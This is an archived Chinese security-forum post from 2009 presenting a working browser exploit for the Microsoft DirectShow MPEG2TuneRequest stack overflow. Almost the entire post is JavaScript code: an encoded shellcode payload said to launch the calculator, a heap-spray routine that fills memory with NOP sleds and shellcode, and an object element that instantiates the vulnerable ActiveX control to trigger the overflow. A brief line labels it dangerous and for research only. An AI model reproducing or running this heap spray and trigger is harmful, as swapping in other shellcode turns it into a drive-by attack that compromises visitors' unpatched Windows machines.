标题: Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit [打印本页]

---

作者: 柔肠寸断    时间: 2009-7-5 22:38     标题: Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit

1. Microsoft DirectShow存在可被远程利用的堆栈溢出漏洞。
   
2. 
   
3. 关键代码如下：
   
4. 
   
5. 该shellcode会执行calc
   
6. -------------------------以下内容有危险，仅为研究使用--------------
   
7. var appllaa='0';
   
8. 
   
9. var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa;
   
10. 
    
11. var dashell=unescape(nndx+"%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949" +
    
12. 
    
13. "%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b" +
    
14. 
    
15. "%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875" +
    
16. 
    
17. "%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c" +
    
18. 
    
19. "%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b" +
    
20. 
    
21. "%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e" +
    
22. 
    
23. "%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a" +
    
24. 
    
25. "%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35" +
    
26. 
    
27. "%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b" +
    
28. 
    
29. "%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b" +
    
30. 
    
31. "%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470" +
    
32. 
    
33. "%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550" +
    
34. 
    
35. "%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550" +
    
36. 
    
37. "%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070" +
    
38. 
    
39. "%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68" +
    
40. 
    
41. "%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047" +
    
42. 
    
43. "%u6363%u5251%u634c%u5553%u4550");
    
44. 
    
45. var headersize=20;
    
46. 
    
47. var omybro=unescape(nndx);
    
48. 
    
49. var slackspace=headersize+dashell.length;
    
50. 
    
51. while(omybro.length<slackspace)
    
52. 
    
53. omybro+=omybro;
    
54. 
    
55. bZmybr=omybro.substring(0,slackspace);
    
56. 
    
57. shuishiMVP=omybro.substring(0,omybro.length-slackspace);
    
58. 
    
59. while(shuishiMVP.length+slackspace<0x30000)
    
60. 
    
61. shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
    
62. 
    
63. memory=new Array();
    
64. 
    
65. for(x=0;x<300;x++)
    
66. 
    
67. memory[x]=shuishiMVP+dashell;
    
68. 
    
69. var myObject=document.createElement('object');
    
70. 
    
71. DivID.appendChild(myObject);
    
72. 
    
73. myObject.width='1';
    
74. 
    
75. myObject.height='1';
    
76. 
    
77. myObject.data='./logo.gif';
    
78. 
    
79. myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
    
80. 
    
81. -------------------------------------

复制代码

---

欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)

Powered by Discuz! 7.2